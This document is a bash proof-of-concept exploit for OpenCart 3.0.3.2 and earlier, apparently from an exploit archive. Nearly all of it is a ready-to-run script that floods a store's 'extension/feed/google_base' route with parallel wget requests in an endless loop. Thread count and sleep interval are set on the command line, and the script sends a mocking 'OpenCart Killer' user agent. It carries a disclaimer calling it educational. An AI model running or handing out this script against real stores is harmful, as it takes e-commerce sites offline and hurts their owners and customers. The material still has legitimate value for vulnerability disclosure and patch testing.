Opencart 3.0.3.2 - 'extension/feed/google_base' Denial of Service (PoC)

#!/bin/bash
#
#  Opencart <= 3.0.3.2 'extension/feed/google_base' Remote Denial of Service PoC exploit
#
#  Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#  PoC exploit, just for test...
#  Tested on store with added more than 1000 products
#  Usage: ./cartkiller.sh store_url threads sleep
#  Example: ./cartkiller.sh https://store_name 50 5
#
#
#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Todor Donev is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#

echo "Opencart <= 3.0.3.2 'extension/feed/google_base' Remote Denial of Service PoC exploit"
echo
echo "Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>"
echo
echo "PoC exploit, just for test..."
echo "Tested on store with added more than 1000 products"

if [ -z "$3" ]; then
echo Usage: "$0" store_url threads sleep
echo Example: "$0" https://store_name 50 5
exit 4
fi
 
url="$1"
threads="$2"
sleep="$3"
while :
do
        for ((i=1;i<=$2;i++)); 
        do 	
	    wget "$url/index.php?route=extension/feed/google_base" --user-agent="Mozilla/5.0 (OpenCart Killer v2 google_base Denial Of Service)" --quiet -O /dev/null -o /dev/null &
        done
#
# Sleep between loops..
#      
sleep $sleep
done